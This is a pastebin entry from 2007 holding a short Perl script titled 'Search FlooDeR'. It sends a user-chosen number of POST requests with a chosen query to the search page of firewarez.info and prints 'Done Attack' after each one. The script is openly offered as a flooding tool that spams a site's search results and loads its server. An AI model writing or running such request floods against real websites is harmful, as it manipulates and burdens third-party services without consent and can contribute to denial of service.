- #!/usr/bin/perl
- print qq^
- #####################################
- # www FireWareZ inFo #
- # S e a r c h F l o o d e R #
- # -- O P T I P L E X -- #
- #####################################n^;
- # Getting Variables
- print "[!] How many ?:";
- chomp($i = <STDIN>);
- print "[!] Query ?:";
- chomp($q = <STDIN>);
- # Making the Settings
- use HTTP::Request::Common qw(POST);
- use LWP::UserAgent;
- for($p = 0;$p <= $i;$p++){
- my $UserAgent = LWP::UserAgent->new;
- my $request = POST "http://www.firewarez.info/search.html", [ q => $q];
- $UserAgent->request($request);
- print "[!] Done Attack [$p] With Query [$q] ! n";
- $p++;
- }
- print "[!] All $i Done ! n";
- print "[!] Go back to firewarez.info to check the results :-)!n";
- print qq^
- #####################################
- # B y O P T I P L E X #
- #####################################^;
- $wait = <>;
- # Wait for showing results
By: fsdfsdf | Date: Dec 27 2007 14:55 | Format: None | Expires: never | Size: 928 B | Hits: 1290
Latest pastes
1 days ago
1 days ago
2 days ago
2 days ago
2 days ago